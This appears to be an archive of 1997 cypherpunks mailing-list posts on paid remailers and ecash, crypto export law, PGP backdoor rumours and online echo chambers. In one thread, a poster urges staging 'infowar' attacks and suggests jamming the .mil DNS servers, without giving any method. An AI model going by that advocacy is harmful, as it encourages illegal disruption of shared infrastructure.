On Sun, 28 Sep 1997 at 19:11, Zooko Journeyman <zooko@xs4all.nl>
farted:

> Igor Chudov contributed a quote from some government manual:

>> These anti-government  extremists and  supporters  are  convinced
>> citizens  are  being  systematically  oppressed  by  an  illegal,
>> totalitarian government.   They  believe the time for traditional
>> political reform  has passed,  that their  freedom will  only  be
>> secured  by  resistance  to  the  law  and  attacks  against  the
>> government in several forms.
>>
>> Members of these groups bond to one another and lose contact with
>> other people who hold different opinions.  The isolation works to
>> reinforce their  views, which  in turn  gives them  new  purpose.
>> This new purpose may take ordinary ideas to extremes, rationalize
>> their problems  into blaming  government, and  cause  members  to
>> compete with each other to make stronger statements.

> Couldn't've said it better myself.

> I see the same pattern in cypherpunks and in my non- (or 
> barely-) 'Netted extremist friends of the right, the 
> libertarian, and the left varieties.

> I've argued with myself for years about whether the spread of 
> the Net would connect these people back to their fellow humans,
> by offering uncensorable, violence-free communication channels,
> or whether it help them to make virtual communities consisting
> solely of people who reinforce their own beliefs.

> I'm still hoping for the former...

> Z, hopeful cynic

Jerk! You don't have the slightest clue about what is going
on over here, do you?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tom McCaskill" <mccaskill@mindspring.com>
Date: Tue, 30 Sep 1997 00:48:53 +0800
To: cypherpunks@toad.com
Subject: cyphernomincom
Message-ID: <199709291520.LAA01295@borg.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know where I can download a copy of the cyphernomicon.  I 
found a web page where I can read it, but I'd prefer one text file 
that I can read with out being online

Thanx
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.7.1

mQCNAzLizK4AAAEEAJ0uBc2mH6b7rAmHBFyHpk92is55ZMFanLqdiRU6iyut8v7u
70CNpvVlnlFsHFjhqgvdkJeuDTF8PselBGv6VkvYXVxKlQTyLvxYLJYuY1zrefah
fFF/6i3v2FAOtBUp2/oEMmw9QMA8+1FWJXsuYkz0toVDq+xdGzVLXWU23HQ/AAUR
tCdUb20gTWNDYXNraWxsPG1jY2Fza2lsbEBtaW5kc3ByaW5nLmNvbT6JAJUDBRAy
4s1SNUtdZTbcdD8BAcHTA/9eDI+2Yx5tm0ZpfPaYq8vq/GliEUai7Vl4IGCYEPwo
SK4zKbx1HwAKgBy396EDK1RECtpekKLbz5XuUNkl77zwwQsQ+dTTSJoeO7ArCmea
ZeJ5kQoNn2Qt+d7KcMK0zCUAKt1zVX8V2EWt01vw8yJi88KC5e3uLmLvpgLLV3iw
Cg==
=Weyw
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 00:36:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [NTSEC] pgp 5.0 back door
Message-ID: <60ea750d816659dde629440a5798ee63@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Michael Warfield <mhw@iss.net> writes to Ray Arachelian or somebody:
>...  Phil Zimmerman is an absolute religous fanatic about backdoors!
>When ViaCrypt implimented a commercial escrow feature to give companies the
>ability to issues keys where they had a key escrow, he used that as a reason
>to break their contract.  He had a "no backdoor" clause in the ViaCrypt
>agreement for PGP.  After the US goverment tried to investigate Phil into
>bankruptcy for several years, I seriously doubt he would do ANYTHING
>to assist them except to assist them into a pit somewhere...

The PGP Web site in http://www.pgp.com/products/differences.cgi has a list
of differences between PGP 5.0 (personal PGP) and PGP 4.5.x (corporate
PGP).  The corporate one includes a feature that the private one doesn't
called "message recovery".  Given Phil's fanaticism outlined above, this
presumably isn't any way to get at the plaintext without the user's
knowledge or cooperation, but just what the heck IS it?  I can't find a
description of the feature on-line.  The manual itself is on-line in PDF,
which presumably answers this question for acrobat fans.  I see nothing
about "message recovery" in the hard-copy PGP 4.5 manual.

For the guy who's concerned about backdoors in PGP 5.0 -- there's no
reason to believe there are any.  There's source out there for you to
download, and you can browse it over and compile a copy for yourself.
I recommend buying a legal copy anyway, even if you are going to use
the one you compiled yourself, to encourage makers of strong crypto
for the masses -- if you're getting value, may as well pay for it
and feel good about yourself.

	Salvo Salasio
- --------------------------------------------------------------------------
P.S. For CypherSaber CipherKnights: set your secret decoder ring
to "WriteYourCongressman" to decrypt this:

e91a 46d8 fba9 aaf5 927f 7a3f 1ded 8757 a741 4bb6 5568 3a5a f118 dc2b 11de
ebb3 e873 ffa1 d520 09ea 52b6 65c3 a42a 3d14 befa 0f3e ff09 e09a ad26 f877
aa84 4722 8ac3 770a 0aad 48a0 bf1e 9c51 2b1e a54f 8a7e 3e14 b0d1 3a84 8852
f9db d7ce 73b5 4066 d516 4d77 0395 37e2 b79c 9acd 6107 ecff 72bc e985 0ede
fcf0 eabd b903 9217 a0fc b95d 5ad7 3431 ba73 0d98 360b cef2 f863 ed54 8aa4
b0a9 6ed1 a2bb 8449 346f 1a7f f431 b8cf 95e3 b372 b0f5 c8a9 5ae1 622f d59f
c990 fd6d 3611 bc1e d842 82c7 c112 27d8 8b1e f3d8 f769 a10c d4f7 6360 dea4
f6cf feb3 e8c6 c72b 7b4a 03dc 00c4

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jjQgifCV7hg=
=PIRT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Tue, 30 Sep 1997 02:38:09 +0800
To: cypherpunks@cyberpass.net
Subject: RE: Remailers and ecash
Message-ID: <2A22D88740F0D01196BD0000F840F43F954F38@tceis5.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



First, some axioms:
1) Remailers help defeat traffic analysis.

2) The remailer network is small, because there is no commercial
incentive.

3) Traffic through remailers is politically and commercially sensitive.


These axioms lead me to argue that, in the current worldwide political
climate, the most that can be expected is that the remailer network will
expand only by commercial but underground remailers accepting anonymous
digital cash on a per-message basis.  Why?:

1) Commercial -- because most people don't have enough spare resources
to devote them to an effort of this magnitude.

2) Underground -- because in most of the world, there will be a category
of messages that the local government will find unacceptable.  If the
remailer is in the industrialized part of the world, these governments
will have the resources to crack down on the remailer, possibly
comprising the remailer system in the process.  (Remailers in
non-industrialized or semi-industrialized areas will not be stable
enough due to infrastructure problems.)

3) Anonymous digital cash on a per-message basis -- because anything
else is subject to government and/or commercial/organizational coercion.
Keeping accounts at several remailers will mark you as surely as if you
advertised the holding of these accounts on your Web.  Per-message
anonymity of payment is the only way to significantly increase the work
factor of those trying to break through your veil of anonymity.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
Date: Tue, 30 Sep 1997 04:11:37 +0800
To: cypherpunks@toad.com
Subject: Crypto Legality Question
Message-ID: <199709291924.NAA24744@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



I have a theoretical situation which some person or
lawyer might know the answer to.  (not that lawyers are
not people...oh never mind).

Anyway..

ACME corporation, a mostly Canadian outfit with a major
subsidiary in the US, wants to roll out corporate wide crypto.

Most of their network operations are in the US except one
of their offices in Ireland.

Question (1): Can they buy a strong crypto package in the
US and physically roll it out to both Canada and Ireland.

Question (2): If Canada is OK, but Ireland is out of the
question, can Irish employees simply procure a compatible
strong crypto package from, say, Finland?  This assumes
that the message traffic from the Irish office to the US is
not covered by commerce dept regs, just the export of
software.  Since software isnt being exported, is everything
legal?

Thanks,

Jim Burnes


Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
When the world is running down
Make the best of what's still around
                   - Sting





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Mon, 29 Sep 1997 18:21:21 +0800
To: zooko@xs4all.nl
Subject: Re: quote
In-Reply-To: <199709281711.TAA07906@xs1.xs4all.nl>
Message-ID: <199709291410.OAA00871@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Zooko Journeyman wrote:

> I've argued with myself for years about whether the spread of 
> the Net would connect these people back to their fellow humans,
> by offering uncensorable, violence-free communication channels,
> or whether it help them to make virtual communities consisting
> solely of people who reinforce their own beliefs.

> I'm still hoping for the former...

um, i don't understand why you think these are 
mutually exclusive. it pretty obvious that 
people with similar interests will get together 
and form virtual communities based on common 
values rather than physical proximity when they 
have access to a communication 
infrastructure like the net. 

accidental and arbitrary interactions is the darker 
side of brick-wall reality, the internet is the tech 
to transcend it. when people have the tech they use it. 

best,
vipul

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 02:56:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <aebdbed8f7d662facb0d7258bb0f6c3f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>On Sun, 28 Sep 1997, Anonymous wrote:
>> 
>> Nonsense.  Type 1 remailers offer a certain level of security.  It is
>> suitable for many applications.  Type 1 remailers require a fairly
>> determined attacker to thwart.  They would certainly keep you safe
>> from the IRS, but maybe not the NSA.
>> 
>> Even if you were running a child kidnapping ring and failing to report
>> the income, you would be pretty safe using Type 1 remailers.  The NSA
>> would never take the chance of revealing their capabilities just to
>> save a few kids.
>
>I disagree. The entire Type 1 networks can be trivially analyzed. It
>doesn't require an NSA for this. A single person that understands mixes
>and a few hackers to compromise some of the upstream, downstream servers,
>not even the remailers themselves, could do it.
>
>Type 1 remailers are fun toys. No more.

Please pardon my ignorance, but could you elaborate on this attack?
Assuming the user's machine is not compromised, in which case the game
is over, whose machines are being broken into?  Are you saying that
The Enemy just watches the messages going in and out of a particular
site and then watches the site where they suspect the messages are
going?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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jUB8v/sQoCXRX0WfoEls5FBqu19/13AVk8y1UdNdXz6oFwEZ0hlBeLBt6jOhSQcq
nl49H1sFsYOuQKTAMioaO8srlENVETK5kUb0PUPrah9jgj3j66zR3FdDQWUeur5C
+DcpCkjfrv9BwQt8PJ4PYtnmsaHDTuI1ESI1qpE5U0UdKUx2i2FtP9HtwUamWSA7
ZviDOfqlliVIhe3HWmC1rcr2VizqWA++HetEEehmPNVt2AwpWvUiIn15fnhL1HW4
vnOJAcxRx/ThI/ON5L4Y0af8Q1YowkNIvqWLU8vEaNFfgC8sxV50pQ==
=IAPf
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim@mentat.com (Jim Gillogly)
Date: Tue, 30 Sep 1997 06:17:16 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto Legality Question
Message-ID: <9709292137.AA18592@mentat.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes writes:
> ACME corporation, a mostly Canadian outfit with a major
> subsidiary in the US, wants to roll out corporate wide crypto.
> 
> Most of their network operations are in the US except one
> of their offices in Ireland.
> 
> Question (1): Can they buy a strong crypto package in the
> US and physically roll it out to both Canada and Ireland.

I suspect not.  Re-exporting US crypto to Ireland without a license
doesn't make it.  Perhaps the fact that they're only using it within
their company would make it OK, but I'd check with the attorneys.

> Question (2): If Canada is OK, but Ireland is out of the
> question, can Irish employees simply procure a compatible
> strong crypto package from, say, Finland?  This assumes

Very likely.  An American would want to be careful not to give any
Sekrit Data to the furriners, but perhaps the rules are different
for Canadians.

Easier yet, they can buy Canadian-grown strong Crypto from Entrust, for
example, and ship it both to their Irish and U.S. branches.  A guy from
Entrust told me last week that there was some consternation from Ft.
Meade when they first started shipping overseas this year, and after
they were shown the details and legalities they backed off.

	Jim Gillogly
	jim@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 29 Sep 1997 22:17:35 +0800
To: hallam@ai.mit.edu
Subject: Re: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <199709291353.OAA00659@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
> On Saturday, September 27, 1997 7:57 PM, Adam Back [SMTP:aba@dcs.ex.ac.uk] wrote:
> > Reckon cypherpunks can knock up a few of those.
> > 
> > So lets here some ideas for good photogenic infowar attacks which show
> > that the lack of crypto is dangerous.
> 
> I suggest unless people want to hand the FBI an excuse
> to harass everyone that they don't enter into this discussion.
> 
> There are plenty of conspiracy laws on the book. Infrastructure
> attacks are illegal and exactly the kind of thing that gets long
> jail sentences.

Uh, I think you are over-reacting.

It really depends how the engineered "infowar disaster" is presented
in the press, ranging from say:

	Dr Adam Back, a computer security researcher at Exeter
	University highlighted a fundamental weakness in DNS security
	which he demonstrates can be easily exploited.  "This is
	entirely avoidable", said Back, "the only reason that global
	infrastructure is left vulnerable, is that the wire-tapping
	extremists and intelligence special groups are being allowed
	to jeopardise national security to protect their jobs in their
	now redundant function in a post-cold war era."

or

	An anonymous cypherpunk took down half of the internet
	yesterday, with an estimated loss to business of $50 million.
	The cypherpunk hacker terrorist issued a manifesto claiming
	that his motives were to highlight insecurities in the DNS.
	Whether his motives were pure or not, the incident does
	highlight the vulnerabilities in our infrastructure, something
	infowar researchers have been arguing.

either one I can't see getting me or anyone else in trouble.

I didn't do it, no one saw me do it, you can't prove a thing, etc.  ie
actually I don't really know much about DNS mechanics, and am not
personally planning to perpetrate the attack, nor develop the
software, but why should I disclaim all that each time I write
something?  The other infowarers aren't in their academic papers...

They guy who wrote the SYN flood attack is none the worse for wear, it
was released in a phrack article, and I don't think there was any
secret as to who authored the software.

> More to the point it is completely counterproductive. Even now 
> there is probably some FBI junior waving Back's message in
> the air as if he has won the pools, probable cause for wiretaps
> I would say.

Ah, fuck that.  The FBI and spooks wiretap any one they want to
anyway, probably cause, feh.  Mealy mouthed disclaimers at the bottom
of each point in a discussion is a prior restraing on academic
research.  Cypherpunks have just as much right to discuss and develop
attacks demonstrating infowar vulnerabilities as Mr Winn "hype hype
hype" Schwartau (sp), or anyone else.

I'd suggest a good target for DNS jamming would be to take out .mil
TLD servers.  Not as if they're doing anything useful, and won't
adversely affect anyone else, whilst it will be a wake up call to the
SIGINT side of the GAK argument that they are jeopardising the
national infrastructure security side.  Perhaps we could even draw the
otherside into the argument.

> I suspect I'm not the only person on the list who is responsible 
> for a service that is a regular hacker target. If I catch someone I 
> really don't care what the motive for the attack was. I'm going to
> look to make that person serve jail time.

Your argument seems to be that if you legislate against OS bugs, that
they will go away.

Well, go ahead if your idea of computer security is to legislate
against security flaws.  Reminiscent of the politician who offered to
repeal a few laws of physics to help out the physicists.

I would point out that the hackers who change your web page, or
exploit OS bugs you haven't applied patches, and send you taunting
messages telling what's wrong with your setup, are probably doing you
a service.  If you have something of real value to secure, you'd
rather know about it from a few harmless hackers, than an industrial
spy who takes the farm, and covers up his tracks so well that you
don't even notice.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 03:41:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <0bb7778506322930a442f6e29c225ad2@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>At first I thought some of the stuff Monty Cantsin was discussing was
>interesting, but it has gotten out of hand.

Isn't this the list for people who get out of hand?  Maybe I'm in the
wrong place.  ;-)

>I've asked the question before, Why would remailer operators want to
>accept Ecash?

I guess "to make money" is obvious.  Remailer operators may also want
to help get some kind of cypherpunk economy going.  Right now the
relationship between remailer operators and users is asymmetrical.
They provide and we use.  It would be better if the users could help
out the remailer operators, too.

And, if we can really get a profitable remailer market going, then it
becomes much easier to get people to start remailers, for instance, in
other countries.  Given certain political developments, we probably
want to get a lot of the remailer network established around the
world.

>After seeing the conflicting messages coming from Mr. Catsin (sic), I
>to rephrase it, why does *Mr Catsin* (sic) want remailer operators to
>use Ecash?

Monty Cantsin wants the whole cypherpunk thing to happen.

Aside from the benefits of getting the remailer network going, there
is also great benefit to getting a small community using ecash
regularly.  Once that happens, we can start to find other services
that community can use.  From there ecash could become a pretty hot
item.  Once something like this starts to take off, it can take off
very quickly, especially where money is involved.

As for "conflicting messages" what you are probably seeing is
different ideas and (maybe) a little learning.  It's good.  It's
healthy.  I'm trying to find a way to make stuff work.

>The first answer I got was so that remailer reliability could
>increase.  The theory as I understood it was that remailers were run
>like a hobby, not a business, so the money would be an incentive to
>bring in professionalism.  So I proposed, and documented, that the
>minimum level to achieve this would be a $50K investment over a
>year's time.

Your proposal seems to be intended to show how this is impossible.
Well, it's not impossible.  You and many other people have already
sunk the costs.  Accepting money is just one more little step forward.

If you are arguing that the day after you accept money you won't make
a profit, that's probably true.  But, since you're volunteering
anyway, what's the big deal?  If you are arguing that there's no way
anybody can ever make a profit, then you are talking about something
which is simply unknown.

We will probably have to do other things to get the remailer network
really going.  And we will do them.

>Making remailers more difficult to use by adding Ecash is not going
>to increase traffic significantly.

Remailers that accept ecash can also accept free mail, although it
might be a good idea to offer premium service to the paying customers.

>>I recommend that people start pricing at a quarter per message per hop
>
>In my opinion, and I've been known to be wrong, this is a seriously
>messed up comment.

No, it's a professional comment.  Amateurs always underprice
themselves.  Then, they discover they can't make money at their low
prices and go under.  Try to price it as high as you can, make some
money, and grow wealthy.  If you get a lot of resistance, you lower
the price.  This works.

>A quarter per message is too much, much less a quarter per hop. A
>price of 1/100 of a penny per message is closer to a proper
>valuation.

Let's say you have ten hops in your chain.  That costs one tenth of a
cent.  Are you seriously claiming that many people wouldn't pay more
than one tenth of a cent to avoid being harrassed, persecuted, or
prosecuted?

To say that a remailer is just like e-mail and should be priced the
same is like saying a bank is just a warehouse for money.

What remailer operators are selling is trust, privacy, and security.
We the users trust them to conceal our traffic flows and our
identities.  Sometimes this will save our lives.  That's worth a lot
more than one tenth of a cent, isn't it?

What is more, markets where trust is involved tend to very good for
the people who are already established.  You are not going to save a
dime and risk your life or fortune.

>But the problem here is in the pricing model.  It should not be
>transactional unless to encourage the very casual user.  A pricing
>model should be flat rate.

This has already been covered.

1. A flat rate which results in associating all messages with one
account is unacceptable, even if the account itself is anonymous.

2. This implies that some sort of blinded credential will be used.

3. Ecash is already a blinded credential and the software is already
written, and it is probably easier to use than a blinded credential
anyway.

At best, the transaction costs of ecash and some other blinded
credential are the same.  The only reason fixed rate deals are good is
because it lowers the transaction cost.  This will not work with
remailers because it defeats their purpose.

Unit pricing is always preferable when transaction costs are free
because the lighter users of the service don't end up paying for the
heavy users.

>The point I have never gotten past is how you expect a payment system
>to change the level of service?

Trade is a good thing.  "If you will do this thing, I will do this
other thing for you."  All sorts of things result from this.

If remailer operators were making some money, maybe not even a lot, it
would certainly make them a little more interested in finding ways to
get people using remailers.  Many of these ways we haven't been
thought of yet.

>The next point I'm still shaking my head over is what about remailer
>services is not up to your standards?

It may be that the remailer network is better than I thought.  You
claim no messages are lost, but I have yet to confirm that this is the
case.  Nobody else seems to know what the remailer statistics mean.

Alex de Joode and you both say that the latencies result from message
reordering.  This also remains to be confirmed.

But, even if the existing network of remailers were perfect in every
way, we could still have more of them.  I would like to have hundreds
of remailers to route my traffic through and that will not happen
through a volunteer effort.

>If anything, people would pay to add latency, not to take latency
>away.

Now you're getting it!  Yes, people will pay for service and special
features, even special features that Monty Cantsin might not pay for.
(Until properly educated, that is.)

>  >Remailers are used by a small highly specialized market of perhaps
>  >a few hundred people.
>
>They encompass millions of users.  Millions of users who want a
>remailer, but will not tolerate the level of entry required for a
>Type-I or Mixmaster remailer.  Until client software can be improved
>and made as easy to use as an integrated spelling checker, the
>"advanced" remailers will have no true market share.  (Oh, I forgot.
>Most of the world uses email clients without integrated spell
>checkers.)

It is such a mistake to worry about the mass market right now.  Do you
have $10 million to mount a nationwide advertising campaign?

That means we start with a small specialized group of perceptive
people and get things rollling.

It may even be the case that the product never hits the mass market.
But, if it is useful to a few million select people, it will still
work.

We talk a lot about "Joe Sixpack" on this list, but he's probably a
waste of time.  It's just too expensive to educate people who aren't
interested.

What should we do in this situation?:

>Cypherpunk: Hey, Joe, how are you doing?
>
>J. Sixpack: Well, me and my whole family were finally accepted to the
>Federal New Millenia Program and we're going down to the induction
>center tomorrow!
>
>Cypherpunk: Gee, I heard on the cypherpunks list that they just kill
>everybody.  Are you sure you really want to do that?
>
>J. Sixpack: Oh, you conspiracy theorists!  It's not that way at all.
>They have shuffleboard, jacuzzis, golf... I saw the brochure!  And
>they say you only have to work three hours a day and you get full
>medical coverage.  It's so great that most people never even come
>back for a visit!

I say we let him go.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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kRT2jwsOdYsbAV0hW7l8/NY3Kmsj8pbUOnG8bMyG5g/k10zAYH4S1BciIPfFRcbt
6/LQc5qaYfooP7fB7MrAhd3m0iFONHwPpBWpiiQ/x+PY9or/4iU/QpL+jEde/Viz
+F9la8ovcDRMmcrq3RAyLzzeueCO0FMuSyckaz8wZ+H9hwE2J2uenhwVPINqAv0u
5OPYvM9hsouxffVM8mBj4ivxiAJhn45QcT7Q5qJ+SJTgGpVADElEzA==
=WSbZ
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandromar Ferreira <sandro@pop.hsbcbamerindus.com.br>
Date: Tue, 30 Sep 1997 02:53:23 +0800
To: "cypherpunks@toad.com>
Subject: EVSK Algorithms
Message-ID: <342FF198.446B6EA1@bbamerindus.com.br>
MIME-Version: 1.0
Content-Type: text/plain



Hy all,

    Does anybody hear about EVSK(EverSystem Secret Key) Algorithm ?

Sandro.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Tue, 30 Sep 1997 05:35:33 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto Legality Question
In-Reply-To: <199709291924.NAA24744@denver.ssds.com>
Message-ID: <3.0.3.32.19970929165449.006a6e50@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 01:25 PM 9/29/97 +0000, Jim Burnes wrote:
>
>I have a theoretical situation which some person or
>lawyer might know the answer to.  (not that lawyers are
>not people...oh never mind).
>
>Anyway..
>
>ACME corporation, a mostly Canadian outfit with a major
>subsidiary in the US, wants to roll out corporate wide crypto.
>
>Most of their network operations are in the US except one
>of their offices in Ireland.
>
>Question (1): Can they buy a strong crypto package in the
>US and physically roll it out to both Canada and Ireland.

Nope. Though Canada allows export of strong crypto generally, 
Canadians may not re-export US products once they enter the country.

>Question (2): If Canada is OK, but Ireland is out of the
>question, can Irish employees simply procure a compatible
>strong crypto package from, say, Finland?  This assumes
>that the message traffic from the Irish office to the US is
>not covered by commerce dept regs, just the export of
>software.  Since software isnt being exported, is everything
>legal?

Yup. As you could imagine, US export laws are set up to try to avoid 
such compatibility whenever possible. This is also a reason why PGP 
Inc.'s recent shift to crypto services and away from relying on 
crypto sales exclusively is a relatively big deal. If everyone has 
the software, PGP Inc. can provide services to those folks a lot more 
easily. PGP 5.0, of course, is out there on the Net for the taking 
worldwide.

Cheers.

Will Rodger
Washington Bureau Chief
Inter@ctive Week
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDAVmNZgKT/Hvj9iEQIemwCeMsUUiMuPRE2we6t8WiPxQ9TGSAIAoPwN
O5C/FTnLEuGrJC2mY+DMb0IC
=5f31
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 06:00:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <2321ced0989df8c5fb475134a708618d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>The only thing I have heard you mention is latency, which is a
>feature programmed into the remailers.  If anything, people would pay
>to add latency, not to take latency away.

And another point: Nobody wants to add latency.  (There may be a few
applications, but they are rare.)

What people want is security and one way to get it (sometimes) is by
adding latency to their messages.

Ideally, you would send a message and it would arrive at its
destination in milliseconds with complete security.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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iQEVAwUBNC/2ppaWtjSmRH/5AQGFvwf9Gt0lk4arO8YxSJmShOLkl0tzlG9Xwel2
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gPqScyravExP8ctubqPzB0tRdmWM1fcUGFhH0aI4pZpFiCjt1g3R5x88PhJ4HV3Z
a8J+Yq9gzKKm0X3qD9i9VcnPLRjJbLAmta1Vk6j/xm3bHlUHJbgynAyciblPVyCk
pB6YdxHgwNT2e+i2RkRYEvBm3poiHEmaRh4hwHt14SgqT6mmC+VGjkA+j+52woyL
NauD48mnEclO+Y973C+uOHfo7FBRmL/JFKiMh087SFjKv78fSu9BPg==
=xzIZ
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 05:48:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <cdc554c742ae256c8ca80bf6f75d2f20@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>There are a number of technical reasons why you really don't want to
>call the standard commandline Ecash client from a script to
>add/retrieve Ecash from Mixmaster remailer packets. The biggest
>problem being that you can fit only a few coins into the packet
>header as specified. There is no feature in the standard Ecash client
>that allows coin level control. DigiCash firmly resited and continues
>to resist adding it. A $0.25 payment could be paid as three coins or
>as 25 coins. The user has no control over this. For this and a number
>of other reasons, DigiCash's software is unsuitable for the task.

I've thought about this and I don't believe that it is a brick wall.

If the mixmaster remailers charged the smallest coin Mark Twain Bank
issues, then you would always get one coin and it would fit into the
packet.  I'm guessing this is a penny.  While this is not the ideal
method for deciding pricing, it would certainly work.

Even for larger amounts, there's probably a way to trick the Digicash
software into giving you the coins you want.  Let's say you are trying
to generate a pile of certificates in a certain amount that have less
than a certain size.  If you keep withdrawing the money and
redepositing it, you can keep the certificates which are the right
size and throw back the ones that aren't.  (You might have to find a
way to shake things up by depositing and withdrawing various amounts.)

There's probably a better way to do this.  For instance, we might
observe that every time ten dollars were withdrawn from the bank and a
certificate was generated for 25 cents, it only used three coins.  So,
we withdraw ten dollars, issue a 25 cent certificate, put back the
remaining amount, withdraw ten dollars, get another 25 cent
certificate, etc.  This is easily automated, of course.

Question: Where is the coin issuing decision made?  I assume that it
is made in the client software.  This, of course, is not under the
control of Digicash or Mark Twain bank.

Conclusion: Mixmaster remailers can probably use ecash with just a
little more work.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html


-----BEGIN PGP SIGNATURE-----
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GNwxfZopTYZJhwdoeA/zo9uQ8A4rHOueFiZ8GRr7oDa+/sA70H6FBbMzIig/UxsB
hi9+cBFGx4VFIWJemcPiU+vL9lWfbTV997IrTrlJKRISjA4VuNqHuoNNbHnUa+J+
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=g3FG
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0120.myriad.ml.org (Matthew Ghio)
Date: Tue, 30 Sep 1997 06:03:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <199709282107.XAA23460@basement.replay.com>
Message-ID: <199709292137.RAA26571@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner wrote:

> At first I thought some of the stuff Monty Cantsin was discussing was
> interesting, but it has gotten out of hand.  I've asked the question
> before, Why would remailer operators want to accept Ecash?  After seeing
> the conflicting messages coming from Mr. Catsin, I to rephrase it, why does
> *Mr Catsin* want remailer operators to use Ecash?

Cantsin feels that the remailers are too slow or too unreliable, and
believes that by offering a suitable financial reward, he can induce
someone to provide him with a more reliable service.  That may be so,
but this analysis neglects to account for a fundamental issue:

       Anonymity is one thing which you cannot have
       without also giving it to others.

In order for a remailer operator to afford himself the benefits of
anonymous communication by establishing and using a remailer, he must
allow others to use the remailer also.  This is why it is economical
(for some people) to operate free remailers.

It has been suggested that it would be possible to increase the number
of remailers by providing financial incentives to the remailer operators
